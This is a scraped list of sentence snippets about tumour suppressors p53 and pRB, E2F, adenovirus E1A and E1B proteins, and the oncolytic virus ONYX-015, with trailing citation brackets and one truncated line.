  • Mutations in the p53 gene and accumulation of p53 protein are the most common genetic events in gastric carcinomas. (
  • In non-replicating cells, retinocytoma protein (pRB) can bind to gene regulatory protein E2F, thereby inhibiting cell proliferation. (
  • The first discovered tumor suppressor gene was called the retinoblastoma gene (RB1 gene) and its product RB-protein (pRB ). (
  • Structural studies of viral proteins most often use high-resolution techniques such as X-ray crystallography, nuclear magnetic resonance, single particle negative stain, or cryo-electron microscopy (EM) to reveal atomic interactions of soluble, homogeneous viral proteins or viral protein complexes. (
  • Once viral proteins or complexes are separated fro. (
  • Proteins transcribed from the E1B region of ADENOVIRUSES which are involved in regulation of the levels of early and late viral gene expression. (
  • Such posttranscriptional regulation of viral and cellular gene expression in infected cells requires viral E1B and E4 proteins. (
  • We present evidence for the possible involvement of both the RB and p53 proteins in the regulation of cellular senescence. (
  • Both midkine mRNA expression and midkine protein expression were strong in AsPC-1 and CFPAC-1 cell liens, moderate in BxPC-3, HPAC, and Suit-2 cell lines, and weak in PANC-1 and MIAPaCa-2 cell lines. (
  • Adenovirus E1A proteins are closely associated with chromatin in productively infected and transformed cells. (
  • However, both adenoviruses and tumor cells overcome cellular controls to drive their respective limitless propagation. (
  • Heat shock phenocopies E1B-55K late functions and selectively sensitizes refractory tumor cells to ONYX-015 oncolytic vi. (
  • ONYX-015 is an E1B-55K-deleted adenovirus that has promising clinical activity as a cancer therapy. (
  • The CR2 region of the adenovirus E1A protein also interacts with pRB, E2F is released and the virus replicates. (